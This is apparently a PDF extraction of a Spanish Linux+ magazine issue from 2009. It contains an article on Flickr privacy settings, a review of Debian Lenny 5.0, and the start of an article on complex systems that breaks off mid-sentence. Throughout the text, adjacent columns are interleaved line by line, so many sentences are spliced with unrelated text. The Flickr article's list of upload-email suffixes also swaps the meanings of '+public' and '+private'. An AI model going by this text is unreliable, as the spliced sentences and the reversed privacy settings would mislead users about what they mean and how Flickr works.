Privacidad en Flickr
José María Gómez Hidalgo

Las redes sociales han convertido a la Web en un entorno realmente


interactivo y social para todos sus usuarios. Hoy en día, cualquiera puede
crear contenidos en la Web, y compartirlos con todos sus conocidos.

L
as redes sociales de fotos como Flickr y Picasa En este artículo examinaremos con detalle las opciones de
linux@software.com.pl

son un exponente máximo de esta tendencia, sus privacidad de Flickr, dejando para más adelante las de Picasa.
usuarios se cuentan por decenas de millones, Nuestro objetivo es que hagas uso de las herramientas de priva-
y albergan centenares de millones de fotografías cidad que se te ofrecen en este portal, para que puedas controlar
de lo más variopinto. Pero si uno sube sus fotos a la Web, de manera efectiva quién accede a tus imágenes, y cómo lo hace.
¿quién puede acceder a ellas? ¿Cómo controlarlo?
El futuro de la edición digital ha llegado. A diferencia de Empezando en Flickr
los programas tradicionales de edición fotográfica, que se Flickr permite esencialmente subir y compartir fotografías. Ac-
centran en los aspectos técnicos de corrección y perfeccio- tualmente no dispone de herramientas de edición, a diferencia
namiento de las fotografías, existen cada vez más programas de Picasa y otros portales. Sin embargo, es con diferencia el
y portales que enfatizan su vertiente social: compartir, ver sistema de difusión de fotografías más popular del mundo.
y comentar fotografías propias y ajenas. Los portales más No es el objetivo de este artículo dar una guía detallada
populares en este sentido son Flickr, propiedad actual de de uso de Flickr, pero no está de más sentar algunos conceptos
Yahoo!, y Picasa, de Google. En ellos residen innumerables básicos. Para empezar, necesitamos una cuenta en Flickr. Si
fotografías de usuarios de la Web de todo el mundo. tienes una cuenta en Yahoo!, es casi inmediato crear un usuario
Pero si lo que importa es compartir, ¿no importará tam- con las credenciales de que ya dispones. Si no es así, nuestro
bién con quién? Si se utilizan las opciones de privacidad por consejo es crear una cuenta en Yahoo!, pues tiene numerosos
defecto de Flickr o de Picasa, que promueven lo público, servicios que pueden ser de utilidad.
las fotos estarán a disposición de cualquiera, que las puede
consultar o usar para los fines que prefiera. ¿Te arriesgas Tu perfil
a que una foto de tu novia o de tu hijo aparezca en el lugar Lo primero a controlar es el contenido y la visibilidad del
más inesperado? perfil del usuario que uno crea. Una manera extremadamente

22 Linux+ 4/2009
gráfica y diseño web
Cuida de tu privacidad en Flickr

Por lo general, las opciones de visibilidad


de un contenido en Flickr, incluyendo los datos
del perfil de usuario, están entre las siguientes:

• Privado: El contenido sólo es visible para


nosotros.
• Visible para familiares: Nadie más que
ellos podrá ver el contenido.
• Visible para amigos: Igualmente para los
contactos marcados como amigos.
• Visible para familiares y amigos: Incluye a
ambos grupos.
• Visible para tus contactos: El contenido es
visible para todos los contactos, incluyen-
do aquellos que no están marcados como
familiares o amigos.
• Público: El contenido es visible para todos
los usuarios, incluyendo los que están fue-
Figura 1. Al agregar un contacto, podemos marcarlo como amigo o familiar
ra de Flickr.
sencilla de hacerlo es rellenándolo con datos • Quién tiene permiso para ver tu dirección
imprecisos, o directamente falsos. Pero eso no de correo electrónico, tus nombres de No todos los contenidos tienen todos estos
nos permite compartir mucha información con mensajería instantánea (como el Yahoo! niveles de acceso, y además, no hay un criterio
nuestros amigos o familiares, y si lo hacemos, Messenger), tu nombre real o tu ciudad fijo sobre qué niveles deben estar disponibles
seremos igualmente visibles de una forma u otra. actual. en cada ocasión.
Por ello, es mejor poner la verdad, aunque es re-
comendable reservarse los detalles más privados; Las respuestas a las preguntas quién se hacen Operaciones y modos de uso
se debe asumir que en último caso, todo lo que en términos del concepto de contacto, que ex- Las operaciones más importantes que permite
se ponga en Internet es accesible para cualquiera plicamos a continuación. Flickr son las siguientes:
que tenga suficiente tiempo e interés.
El control de la información visible en el Tipos de contactos y visibilidad • Subir y administrar fotografías.
perfil del usuario de Flickr se realiza a través de Un contacto es cualquier usuario de Flickr que • Crear y gestionar álbumes de fotos. Los
las opciones de Tu cuenta. Dentro del apartado agregamos como tal, o al que invitamos a unir- álbumes son colecciones de fotos relaciona-
de Privacidad y permisos, existen una serie de se a Flickr y acepta la invitación. Una manera das entre si a gusto del usuario.
opciones que permiten controlar la privacidad sencilla de encontrar contactos ya presentes en • Unirse a grupos de usuarios y administrar-
de los datos de usuario, las opciones por defecto el sistema es usando la búsqueda en el menú los. Los grupos de usuarios permiten com-
de las fotos, y las opciones de filtro de conteni- Contactos. También se puede invitar a conoci- partir imágenes entre personas afines, aun-
dos. Las opciones de los datos de usuario están dos usando el menú Invitar a tus amigos. que no sean contactos entre si.
en Configuración global, y son las siguientes: Una vez localizada una persona de nuestro • Geoposicionar imágenes. Esta funcionali-
interés, podemos agregarla a nuestros contactos dad permite asociar posiciones geográficas
• Quiénes pueden descargar tus cosas: Para pulsando sobre el menú desplegable que apa- a las fotografías, como el lugar en que se
descargas al equipo de otros usuarios o vi- rece junto a su foto o icono, y eligiendo dicha tomaron.
sitantes. opción. Se nos presenta la opción de marcarlo
• Quiénes pueden compartir tus fotos o videos: como Amigo o Familiar, como se puede ver en La mayoría de estas operaciones pueden reali-
Para usar y difundir tus fotos en páginas la Figura 1. zarse a través de varias interfaces:
de terceros.
• Quiénes pueden imprimir tus fotos: Para im-
primir tus fotografías desde el propio Flickr.
• Quiénes pueden publicar tus cosas en un
blog: Permite o no a otros usar tus conte-
nidos en sus blogs de Flickr.
• Ocultar tus datos EXIF: Permite ocultar
los metadatos que las máquinas fotográfi-
cas agregan a las fotografías.
• Ocultar tus cosas de las búsquedas públi-
cas: Para mostrar u ocultar tus fotos en las
búsquedas que realizan otros usuarios
• Ocultar tu perfil de las búsquedas públi-
cas: Tu perfil no aparecerá en las búsque-
das que realicen otros usuarios. Figura 2. Las tres áreas de trabajo de Organizr

www.lpmagazine.org 23
gráfica y diseño web
Cuida de tu privacidad en Flickr

• Organizr: Es la herramienta Web para ad-


ministrar fotografías.
• Flickr Uploader: Es un programa indepen-
diente para Windows y Mac que se descar-
ga e instala en el ordenador del usuario,
y facilita algunas de estas funciones.
• Correo electrónico: Es posible realizar
algunas funciones a través de cuentas es-
peciales de correo electrónico.

Vamos a examinar las opciones de privacidad


relativas a todas estas herramientas.

Manejando
la privacidad con Organizr
De las herramientas anteriores, el sistema Orga-
nizr es el más potente y flexible, pero necesita
de conexión a Internet permanente, y un ancho
de banda razonable.
En la Figura 2 se muestra una visión gene-
ral de la interfaz de Organizr, con sus tres áreas
principales de trabajo:

• En la parte superior aparecen los menús


generales en forma de pestañas, junto con
submenús que dependen de la pestaña ac-
tiva.
• En la parte central se muestra el lote actual
Figura 4. Las opciones de permisos de edición disponibles para un elemento seleccionado en Organizr
de fotos, al que se le van a aplicar los cam-
bios y operaciones que el usuario desee. opciones para subir fotos, que incluyen en par- familiares y/o amigos. En la Figura 4 se mues-
• En la parte inferior aparecen todos los con- ticular una serie de opciones de privacidad. tran todas las opciones, que aparecen cuando
tenidos de que dispone el usuario. Una vez se seleccionan las imágenes se pulsa sobre el enlace Mostrar opciones de
a subir en el área superior, se puede acceder carga adicionales, y que incluyen también las
Obviamente, para poder empezar a trabajar con a las opciones privacidad y tipo de contenido en opciones de filtrado, de tipo de contenido, y de
fotografías, hace falta haber subido unas cuan- el área inferior. Las opciones disponibles en un visibilidad para las búsquedas.
tas. La manera más simple para subir fotogra- primer momento son las que afectan sólo a la Las opciones que afectan a los contactos
fías no es desde el propio Organizr, sino desde visibilidad en términos de contactos: si la foto son bastante evidentes. Sin embargo, hay que
Flickr Uploader. En la Figura 3 se muestran las es privada, pública o accesible solamente a los tener presente que el que una fotografía sea
visible para un contacto le permite por defecto
incluirla entre sus favoritas, a no ser que en las
opciones de la Configuración global se haya
establecido lo contrario en el apartado Quiénes
pueden compartir tus fotos o videos, lo que sig-
nifica que será visible para terceros a través de
los favoritos de tu contacto.

Las opciones de edición


Flickr, a través de su herramienta Organizr, ad-
mite ciertos niveles básicos de edición a saber:
agregar, modificar o eliminar títulos, etiquetas
y descripciones, y rotar las fotografías. La he-
rramienta Picasa de Google posibilita niveles
de edición más avanzados, aunque no permite
llegar al nivel de un editor profesional.
Las opciones relativas a los títulos, etique-
tas y descripciones pueden estar disponibles
para los contactos de un usuario. O dicho de
otra forma, se puede permitir que terceros
Figura 3. Al subir fotos con Uploader, es posible establecer algunas opciones de privacidad modifiquen algunos de los metadatos asociados

24 Linux+ 4/2009
gráfica y diseño web
Cuida de tu privacidad en Flickr

a una búsqueda. Para establecer estas opciones,


dado un lote de fotografías, basta seleccionar la
opción Editar dentro del menú Permisos. En la
Figura 4 se muestran las opciones de privaci-
dad, que incluyen:

• Quién puede ver los elementos del lote,


• Quien puede agregar comentarios,
• Quién puede añadir notas y etiquetas.

Todos los permisos se establecen en términos


de los tipos de contactos disponibles, estando
graduados en este caso en una escala de cua-
tro: privado, amigos y familiares, contactos,
y público. Se pueden establecer las opciones
predeterminadas para nuevas cargas en Tu
cuenta, en la pestaña Privacidad y permisos,
dentro del área Opciones predeterminadas
para las cargas nuevas, en las opciones
Quiénes podrán ver, comentar o agregar
notas.

Figura 6. En Organizr es posible establecer distintas licencias para un lote de objetos


Los filtros
y el nivel de seguridad Tipo de contenido que subamos un contenido, debemos preguntar-
Flickr es una comunidad global constituida por Se contemplan tres tipos de contenidos: nos: ¿esta imagen le molestaría a alguien? Y en
distintos tipos de personas. Lo que es correcto caso de respuesta afirmativa, usar los niveles de
en tu país o región, puede no serlo en el de los • Fotos y vídeos, seguridad Moderado o Restringido.
demás. Cada usuario tiene la responsabilidad de • Ilustración, arte, animación o imagen ge- Las normas de la comunidad prohíben
clasificar o categorizar su propio contenido den- nerada por computadora, u otras imágenes específicamente los siguientes comportamien-
tro de la comunidad. Por eso, se han introducido no fotográficas, tos:
los dos filtros presentados a continuación. • Grabaciones de pantalla y capturas de pan-
talla. • Cargar cosas que no son tuyas.
Nivel de seguridad • Despreocuparse de la moderación, y en
Hay tres niveles de seguridad: Es importante categorizar adecuadamente cada especial, de los niños.
contenido dentro de estas categorías de seguridad • Mostrar desnudez en tu icono.
• Seguro: Contenido adecuado para una au- y tipo, porque se pueden utilizar para restringir • Atacar a otros miembros y ser maleducado.
diencia pública global. las búsquedas, y lograr de esa manera una mayor • Usar tu cuenta para alojar gráficos Web
• Moderado: Si no estás seguro de si tu conte- precisión. Es especialmente importante respetar como logotipos y pancartas.
nido es adecuado para una audiencia pública los niveles de seguridad, ya que de no hacerlo, • Usar Flickr para fines comerciales.
global, pero consideras que no debe ser res- podemos ver nuestra cuenta de usuario modera-
tringido en sí, esta categoría es la adecuada. da, es decir, supervisada por el personal de Flickr, En la Figura 5 se muestran las opciones de filtro
• Restringido: Éste es un contenido que y en el peor de los casos, si no nos sometemos de seguridad para un contenido, accesibles en
definitivamente no debería estar al alcance a las normas de la comunidad, podemos ser ex- el menú Permisos, en la opción Filtro de segu-
de los niños. pulsados del sistema. En otras palabras, cada vez ridad. Estas opciones se aplican a las fotos que
se encuentran en el lote actual de trabajo de la
herramienta Organizr, pero es posible establecer
opciones predeterminadas para la cuenta, es de-
cir, las opciones por defecto. Para ello, en el menú
Tu cuenta, en la pestaña Privacidad y permisos,
se deben editar las Opciones predeterminadas
para cargas nuevas, que permiten definir el nivel
de seguridad y tipo de contenido que tendrá tu
galería.
En este mismo área es posible definir las
opciones por defecto para las búsquedas, que se
pueden restringir de acuerdo a los dos parámetros
anteriores. El tipo de contenido por defecto en las
búsquedas, si no se edita, es Fotos y vídeos. Tam-
Figura 5. Las opciones de filtro de seguridad disponibles para un elemento seleccionado en Organizr bién por defecto, la búsqueda es segura, es decir,

www.lpmagazine.org 25
gráfica y diseño web
Cuida de tu privacidad en Flickr

tiene la opción SafeSearch activada. La opción quetas. La foto no se muestra a las personas que • El personal de Flickr no interviene si un
SafeSearch se rige por lo siguientes parámetros: no son miembros del grupo. administrador abusa de sus privilegios en
Las fotos también pueden agregarse a de- un grupo.
• Si un usuario no está registrado en Flickr, bates y discusiones. Los administradores del
SafeSearch siempre está activado. grupo pueden elegir mostrar u ocultar el mural Antes de hacer a alguien administrador de un
• Si un usuario está registrado y es menor de fotos del grupo y los temas de debate en grupo tuyo, piénsatelo mucho.
de 18 años, puede elegir tener SafeSearch cualquier momento.
activado o moderado. Hay dos tipos de grupos: Licencias de uso
• Si un usuario está registrado y es mayor de Un modo para controlar el uso que alguien
18 años, puede optar entre tener SafeSear- • Los grupos públicos, que figuran en la pá- puede hacer de tus fotos es usar el sistema de
ch activado, desactivado o moderado. gina de los grupos, perfiles y páginas de licencias. Flickr trabaja con el sistema de licen-
fotos si la foto está en un mural de grupo. cias de Creative Commons, que es similar a las
Cuando un usuario está buscando en Flickr Hay dos tipos de grupos públicos: cual- licencias del software libre, pero más orientado
y no está identificado con su usuario, el sistema quiera puede unirse y sólo invitación. a obras artísticas: libros, música, imágenes,
ofrece las opciones para usuarios no registra- • Los grupos privados, que no figuran en etc. Se trata de un sistema que establece varios
dos, por lo que SafeSearch está activado. ningún lugar del sitio de Flickr. Es posible aspectos de uso:
Una advertencia: mucho cuidado con no unirse a ellos sólo con una invitación.
moderar tus contenidos. No solo los editores de • Atribución: Se debe atribuir la obra a su
Flickr los pueden revisar ocasionalmente, sino El control de un grupo está a cargo de los admi- autor original.
que otros usuarios pueden reportar a dichos nistradores del mismo. Un administrador puede • Uso comercial o no comercial de la ima-
editores la existencia de contenidos mal clasi- controlar la información del grupo (nombre, gen.
ficados, lo que puede llevarte a una cancelación descripción, etc.), las opciones de moderación • Derivación de obras nuevas a partir de una
de tu cuenta. (seguridad de filtros y tipos de contenido), obra, o de otro modo, si es posible, generar
y crear reglas de participación. También pue- nuevos trabajos a partir del tuyo.
Los mapas y los grupos de controlar el acceso al contenido y de los • Compartir: En caso de que se comparta, se
Una de las herramientas más usadas por los propios usuarios, incluyendo en particular: pueden forzar una licencia determinada.
usuarios es el geoposicionamiento de las aprobar o eliminar fotos del mural, moderar
fotografías. Lo más frecuente es que los usua- las discusiones del grupo, o eliminar o prohi- En la herramienta Organizr, es posible esta-
rios sitúen en el mapa del mundo el lugar en bir a miembros. blecer una licencia para un lote de objetos,
el que fue tomada la fotografía, y como los Si un usuario crea un grupo, debe tener como se muestra en la Figura 6. La licencia
mapas son bastante precisos, es perfectamente presentes varias cosas: por defecto es Ninguno, es decir, Todos los
factible situar una imagen al pie de la propia derechos reservados. Ello previene que nadie
Torre Eiffel. • Un grupo no se puede eliminar mientras pueda utilizar una fotografía de un usuario, ni
La primera vez que se accede al mapa haya miembros en él. modificarla y publicarla para sus propios fines,
propio con la herramienta Organizr, el sistema • Una vez que uno es administrador de un ya sean comerciales o privados. Se puede esta-
solicita las opciones de acceso al mapa, es de- grupo, no se le puede bajar de categoría, ni blecer la licencia predeterminada para nuevas
cir, quien puede ver tu mapa o la posición geo- eliminar del grupo. cargas en Tu cuenta, en la pestaña Privacidad y
gráfica de tus fotos. Las opciones son las ha-
bituales en los contactos. También es posible
establecer las opciones predeterminadas para
las nuevas cargas de imágenes en Tu cuenta,
en la pestaña Privacidad y permisos, dentro
del área Opciones predeterminadas para las
cargas nuevas, en Quiénes podrán ver tus co-
sas en un mapa.
Los grupos establecen un nuevo nivel de
privacidad a nivel de acceso. Los grupos sirven
para compartir contenidos con usuarios con
intereses similares, y participar en discusiones
y debates. Cada grupo dispone de un mural
en el que sus miembros publican las fotos que
desean. Para compartir una foto con un grupo,
basta seleccionarla y, en el menú contextual que
aparece, pulsar sobre Enviar a grupo, y sele-
ccionar uno en el que figures. Si compartes una
foto que marcaste como privada con un grupo
del que eres miembro, es como si los otros
miembros del grupo tuvieran acceso total a esa
foto. Pueden agregar comentarios, notas y eti- Figura 7. En la interfaz de Flickr Uploadr se observa que las opciones de uso son muy limitadas

26 Linux+ 4/2009
gráfica y diseño web
Cuida de tu privacidad en Flickr

trándolas desde una carpeta de Windows ponen en el cuerpo, en una línea indepen-
Sobre el autor o Mac. diente.
• El área derecha, que establece las opciones
José María Gómez Hidalgo es Doctor en que se aplican a las fotos del área izquier- Para controlar la visibilidad de las fotos, se pue-
Ciencias Matemáticas, ha sido profesor da, y que permite además crear álbumes den anexar algunas claves especiales al nombre
y Director de Sistemas Informáticos en y subir las fotos con el botón Subir fotos de usuario de la dirección para subir fotos, co-
la Universidad Europea de Madrid, y ac- de la parte inferior. En el área derecha es mo las siguientes:
tualmente trabaja en la seguridad de donde se pueden establecer las opciones
contenidos en Optenet. Ha dirigido varios de carga de las fotos, que en términos de • blabla45bla+friends@photos.flickr.com:
proyectos de investigación centrados en visibilidad y privacidad, incluyen que El objeto sólo será visible para los contac-
distintos aspectos de la seguridad infor- usuarios podrán ver las fotografías, el tos marcados como amigos.
mática. Su especialidad es la aplicación nivel de seguridad de las mismas (filtro • blabla45bla+family@photos.flickr.com: El
de técnicas de Inteligencia Artificial a la de seguridad), y si estarán disponibles en objeto sólo será visible para los contactos
seguridad de contenidos, y ha publicado las búsquedas. marcados como familiares.
varios artículos científicos, e impartido • blabla45bla+ff@photos.flickr.com: El ob-
conferencias nacionales e internaciona- Todas estas opciones son idénticas a las de la jeto sólo será visible para amigos y fami-
les sobre el correo basura y el filtrado carga de objetos a través de la web. liares.
Web. Su página web es http://www.esp. • blabla45bla+public@photos.flickr.com: El
uem.es/jmgomez, y su correo electrónico Subiendo objeto sólo será visible para el usuario.
es jmgomezh@yahoo.es fotos por correo • blabla45bla+private@photos.flickr.com:
electrónico El objeto sólo será visible para todos.
permisos, dentro del área Opciones predetermi- También es posible subir fotos por correo elec-
nadas para las cargas nuevas, en Qué licencia trónico. Flickr proporciona con este fin una De esta manera es posible anular las preferen-
tendrá tu contenido. cuenta única de correo a cada usuario, de la cias por defecto, para algunos temas de privaci-
forma blabla45bla@photos.flickr.com. Cuan- dad (aunque no todos, como la búsqueda o los
Un vistazo a Flickr Uploadr do un usuario incluye una foto en un mensaje filtros de seguridad).
Flickr Uploadr es una herramienta ligera y li- y lo envía a su cuenta personal, esta foto sube
mitada que permite hacer algunas tareas bá- a su galería de Flickr. Es preciso tener en Para finalizar
sicas, como rotar las fotos, y que en general cuenta varias cosas: Usar Flickr para compartir fotos con tus cono-
está orientada a subir contenidos a la web de cidos, ponerlas en un blog, etc. es una auténti-
Flickr. Para poder usar esta herramienta, hay • En primer lugar, puede haber un retraso ca delicia. Sin embargo, Flickr no deja de ser
que descargarla de Flickr, y una vez instalada, importante en el tiempo en que las fotos un portal online, por lo que conviene cuidar
configurar la cuenta para que permita subir aparecen en la galería, que puede ir desde los aspectos de privacidad, tanto los propios
fotos desde ella. Esto es muy sencillo, ya que unos minutos a varias horas. Lo normal como los de los objetos que subimos. Hay que
el propio programa abre la página de confi- es que sean unos minutos. preocuparse de quien puede ver y compartir-
guración donde se establece esta opción. La • En segundo lugar, las opciones que se los, quién puede agregar etiquetas o notas a los
herramienta está concebida para su uso online, aplican por defecto a las fotos son las op- mismos, qué licencia tienen de cara a su posible
por lo que las operaciones que se pueden rea- ciones predeterminadas, a no ser que se reutilización, qué nivel de seguridad tienen,
lizar cuando uno está desconectado son muy utilicen características adicionales en el y de si un desconocido puede encontrarlos
limitadas. correo. o no con una simple búsqueda en Flickr. En
En la Figura 7 se muestra la interfaz de • En tercer lugar, conviene mantener esta último caso, si quieres que algo sea totalmente
Flickr Uploadr, que se encuentra dividida en cuenta como privada y desconocida para privado, ni se te ocurra ponerlo en Internet
cuatro partes principales: los demás, por razones obvias. o enviarlo por correo electrónico. O si quieres
hacerlo pese a todo, utiliza técnicas de cifrado.
• La barra de menús en la parte superior. In- Es posible agregar título, etiquetas y descrip- Pero eso es tema para otro artículo...
cluye tres menús, y el único que tiene inte- ciones a las fotos que se suben. Para ello, la
rés es el primero, Subir fotos. Se incluye la estructura del mensaje que se sube es muy
opción de Agregar para incorporar fotos al importante:
En la red
grupo actual, la de Subir fotos, la de Pre-
ferencias, y Salir. Las preferencias sólo se • El asunto o Subject se utiliza como título • (Web) Uploader:
pueden cambiar estando conectado. de la foto. http://www.flickr.com/photos/upload/
• Una barra de menús superior muy simple, • El cuerpo o Body se utiliza como descrip- • Flickr Organizr:
que permite agregar fotos o eliminarlas del ción de la foto. http://www.flickr.com/photos/organize/
lote actual, y rotarlas a derecha o izquierda. • Las etiquetas se pueden poner en el asun- • Flickr Uploadr:
• El área izquierda, que incluye información to o en el cuerpo, precedidas de la palabra http://www.flickr.com/tools/
de si se está conectado o no (Uploadr se co- etiquetas:, separadas por espacios, y den- • Picasa: http://www.picasa.com/
necta automáticamente a Flickr si uno tiene tro de comillas si una etiqueta tiene varias • Creative Commons:
conexión a Internet), y las fotos actuales. palabras (lugares bonitos). Si se ponen en http://www.creativecommons.org/
Se puede agregar fotos al lote actual arras- el asunto, se deben poner al final, y si se

www.lpmagazine.org 27
software
Debian Lenny 5.0

Debian Lenny 5.0:


La última versión estable
del sistema operativo libre
Leonel Iván Saafigueroa
Gracias a veintidós meses de desarrollo constante, y luego de
postergar la fecha de lanzamiento varias veces, apareció una
nueva versión estable del sistema operativo libre por excelencia.

I
an Murdock, un científico de la computación, escri- dependencias de forma automática. Actualmente Ian Murdock
linux@software.com.pl

bió el manifiesto Debian en 1993 mientras estudiaba ya no es el líder del proyecto pero sigue de cerca el desarrollo
en la Purdue University, donde obtuvo su diplomatu- de esta distribución basada en su manifiesto.
ra. En este manifiesto aparecía la idea de desarrollar
una distribución no comercial que sea capaz de competir El proyecto Debian
efectivamente en el mercado comercial. Así fue que esta Debian es el esfuerzo de un grupo de voluntarios alrededor
nueva distribución tomó el nombre de Debian (viene de del mundo, con el objetivo de producir una distribución
los nombres de su creador: Ian Murdock, y de su esposa, de Linux, pero compuesta únicamente por software libre.
Debra). Podemos descargar Debian de Internet con la seguridad de
Debian, en vez de estar desarrollada por un individuo poder usarla, copiarla, estudiarla, modificarla y redistribuir-
o un grupo como se han desarrollado otras distribuciones, la libremente.
fue desarrollada abiertamente en el espíritu de Linux y GNU
a través de Internet, con el propósito de conseguir una distri- Tres ramas del desarrollo de Debian
bución que esté a la altura de cualquier otro sistema comer- El desarrollo de Debian se divide en tres ramas.
cial, logrando un sistema operativo GNU basado en software
libre precompilado y empaquetado en un formato sencillo Versión inestable
para múltiples arquitecturas y en varios núcleos. También conocida como unstable o con su nombre en clave
Su sistema de paquetes Advanced Packaging Tool (APT), SID, es en esta rama en donde se prueban los nuevos paque-
simplificó en gran medida la instalación y eliminación de pro- tes, donde tiene lugar el desarrollo activo de Debian, y es la
gramas en los sistemas GNU/Linux, administrando de forma rama que usan los desarrolladores del proyecto. Los paquetes
eficiente los paquetes .deb, y encargándose eficazmente de en su mayoría corresponden a las últimas versiones, pero es
instalar no solo los programas solicitados sino también sus posible que estos no estén libres de errores.

28 Linux+ 4/2009
software
Debian Lenny 5.0

es facilitar y llegar fácil al usuario. Debian es


más simple, liviana, pero requiere una mayor Toy Story y Debian
intervención por parte del usuario para resolver
ciertos aspectos de la configuración. Las diferentes versiones de las distribucio-
Mientras que Ubuntu intentará tener las nes de Debian llevan cada una el nombre
últimas versiones de los distintos programas en en clave de un personaje de Toy Story. Así,
sus paquetes, Debian nos traerá en su rama es- la versión 3.0 se llamó Woody (el vaquero
table versiones más antiguas, aunque más pro- y protagonista del film), siguiendo hasta la
badas y con mayor estabilidad. |Estos paquetes última (2009) llamada Lenny (Los binocu-
Figura 1. Logo del sistema operativo Debian
no están propensos a tener errores, cosa que en lares), mientras que la versión inestable
Testing Ubuntu no hay tantas garantías. o en desarrollo se llamara siempre Sid (el
Luego de que los paquetes son probados duran- Igualmente, luego de instalar la versión es- chico malo de la película).
te un tiempo prudencial en la rama inestable, table es posible pasarse a la versión inestable
pasan a integrarse a la rama de prueba. Pues ya (SID), que poco tiene que envidiarle a una Ubun- escritorio predeterminado es GNOME y se dis-
contienen muchos menos errores, estos paque- tu, aun así muchos paquetes de SID son más tribuye en el primer CD, aunque también puede
tes ya deben de poder instalarse en todas las ar- antiguos que los de la estable de Ubuntu, pero ser descargado un primer CD alternativo, el cual
quitecturas para las cuales fueron construidos. vamos... que no siempre lo último es mejor. contiene como predeterminado al escritorio
La rama de prueba sufre distintas modifi- XFCE4. Otros escritorios como KDE también
caciones hasta que deciden congelarla; a partir Novedades en Debian Lenny 5.0 están disponibles. Además, la instalación incluye
de ese momento se detiene la incorporación de Esta nueva versión incorpora como novedad: soporte para la creación de particiones cifradas.
nuevos paquetes. Luego se trabaja de forma Algo que se destaca en esta versión son los pri-
intensiva para pulir el mayor número de fallos • Kernel 2.6.26, meros Live-CD oficiales del proyecto.
posibles, luego dependiendo del registro de fa- • GNOME 2.22,
llos, se libera como versión estable, y la que era • X.org 7.3, Instalador gráfico
se predecesora se archiva. • LXDE (Lightweight X11 Desktop Envi- Ésta fue una de las grandes novedades en la ver-
Debian Lenny fue la rama testing o de prue- ronment), sión anterior y podemos acceder al nuevo insta-
bas durante 22 meses, en diciembre del año 2008 • OpenOffice.org 2.4 con soporte para .docx,
lador gráfico escribiendo en la pantalla de boo-
ya estaba congelada. Finalmente, el sábado, • Iceweasel/Firefox 3, teo tanto de CDs como DVDs de Debian. La
14 de febrero de 2009 fue declarada estable. • MySQL 5.1, instalación ahora es bastante intuitiva y ya no hay
Su predecesora llamada Etch fue archivada • Nagios3, excusas para decir que ésta es una distribución de
e inmediatamente se dio comienzo a una nueva • Nuevo tema MoreBlue Orbit. difícil instalación.
rama testing llamada squeeze. El instalador nos permite elegir entre un total
También hay incorporaciones nuevas en mate- de 58 idiomas gracias a esta nueva interfaz gráfi-
Versión estable ria de virtualización. Incluyen: ca que soporta tanto grafías que utilizan caracte-
Una versión estable o stable es la versión estabi- res compuestos como lenguas complejas.
lizada de Debian, no se pueden hacer modifica- • Xen 3.2.1, La nueva versión del instalador nos trae:
ciones en esta rama, solo el equipo de seguridad • KVM,
de Debian publica parches de seguridad para • virt-manager, • Actualización del núcleo Linux (2.6.26-13)
los paquetes de esta rama. Son paquetes muy • libvirt, y los módulos externos (2.6.26-5),
probados, muy estables, pero no tan actuales por • los frontends qtemu, • Módulos disponibles para dispositivos
todo el tiempo que requiere su adecuado testeo • qemulator para Qemu. PATA en imágenes CD-ROM (corrige par-
y adaptación al sistema. cialmente los problemas de instalación con
Deja de tener soporte para: controladores de disco Marvell, persisten al-
¿Debian es mejor que Ubuntu? gunos problemas y están documentados en
Ninguno es mejor que otro, son distintos y están • Kernel 2.4, la errata),
orientados a distintos tipos de usuarios, a su vez • Arquitectura Sparc32, • Mejora en el soporte de dispositivos de brltty,
Ubuntu está basado en Debian y su objetivo • Apache 1.x (reemplazado por Apache2), • Soporte para carga de firmware desde dis-
• XMMS 1.x (reemplazado por XMMS2). positivos usb en Sparc,

Algunos firmwares ya no están en el reposito-


rio principal, pero sí en non-free. FlashPlayer De algo hay que vivir
disponible sólo como backport (pero swfdec-
Ian Murdock no solo fue el fundador del
mozilla instalado por defecto).
proyecto Debian, también creó la distribu-
ción comercial Progeny Debian, basada en
Instalación
Debian. Pero al tiempo tuvo serios proble-
La instalación de Debian GNU/Linux, al igual
mas financieros y termino fusionándose al
que la versión anterior, es más fácil, permitien-
proyecto Debian, dedicándose finalmente
do hacerlo desde DVD, CD, memorias USB,
al desarrollo de servicios.
Figura 2. Pantalla de booteo de Gnu-Debian disquetes, o utilizando una red. El entorno de

www.lpmagazine.org 29
software
Debian Lenny 5.0

Sobre el autor
Es analista de Sistemas, docente, radioafi-
cionado (LU5ENP), consultor en informáti-
ca y conductor del programa de radio libre
hispano – Red-Handed Radio (www.red-
handed.com.ar). Si quieres hacerle algún
comentario, escribe a: Leonel@saafiguer
oa.com.ar

En esta nueva versión encontramos pa-


quetes de software muy modernos, lo cual
demuestra como creció en los últimos años
el número de desarrolladores (aunque mu-
chos digan que está en crisis por culpa de
Ubuntu).
No podemos decir que Debian sea mejor
que otro sistema operativo, está en cada em-
presa o en cada usuario ver qué es lo que más
les conviene usar.
Figura 3. Debian GNU/Linux está traducido a muchos idiomas
La puerta ya está abierta, ahora cualquier
• Mejora del soporte para particiones encrip- Ahora los usuarios pueden volver al menú de desarrollador que quiera unirse, puede hacer-
tadas en el modo rescate, arranque desde las pantallas de ayuda del arran- lo con toda seguridad, pues la comunidad
• Corregido el instalador s390 en 3215 con- que, el directorio tools/ ya no estará en la de desarrolladores de Debian cuenta con la
solas, imágenes de CD, este solía incluir herramientas representación de Software in the Public
• Corregidos problemas de la consola de como loadlin, unzip, gzip que próximamente Interest, una organización sin ánimo de lucro
serie en Sparc, no se usarán ni documentarán en la guía de que da cobertura legal a varios proyectos de
• Corregido el CD multi-arquitectura: ya no instalación. software libre.
arrancará directamente al instalador amd64, Aquellos que tengan curiosidad, pueden
• Guía de instalación actualizada con la adi- Conclusión descargar Debian desde su página Web usan-
ción de nuevo de la traducción al español, Debian GNU/Linux es una distribución apro- do bittorrent (ahora es el método recomenda-
• Corrección de la traducción al danés en piada cuando se necesita la máxima eficiencia do), jigdo o HTTP. Pueden instalarla con toda
algunos módulos escasamente usados, y flexibilidad en una distribución Linux, no es confianza, y estoy seguro que podrán apren-
• Corrección de cálculos de tamaño de parti- sólo la distribución GNU/Linux más grande der mucho con esta distribución de GNU/
ciones en particionamiento LVM automá- en la actualidad, también es una de las más Linux, pues además cuenta con mucha do-
tico. estables. cumentación y una excelente comunidad en
Internet.
Nota: Las imágenes del Logo pertenecen
a www.debian.org y están bajo una licencia
Creative Commons License.

En la red
• Página oficial del proyecto:
http://www.debian.org/
• Manifiesto de Debian
en español:
http://www.debian.org/doc/
manuals/project-history/
ap-manifesto.es.html
• Página con información útil sobre
Debian extremo:
http://www.debianrules.com.ar
• Página con información
en español sobre Debian:
http://www.esdebian.com
Figura 4. Entorno gráfico GNOME de Debian Etch

30 Linux+ 4/2009
software
Desarrollo de sistemas complejos

Desarrollo
de sistemas complejos
Lino García Morales
Sistemas complejos hace referencia a un, relativamente nuevo,
campo de la ciencia multidisciplinar que estudia cómo las partes
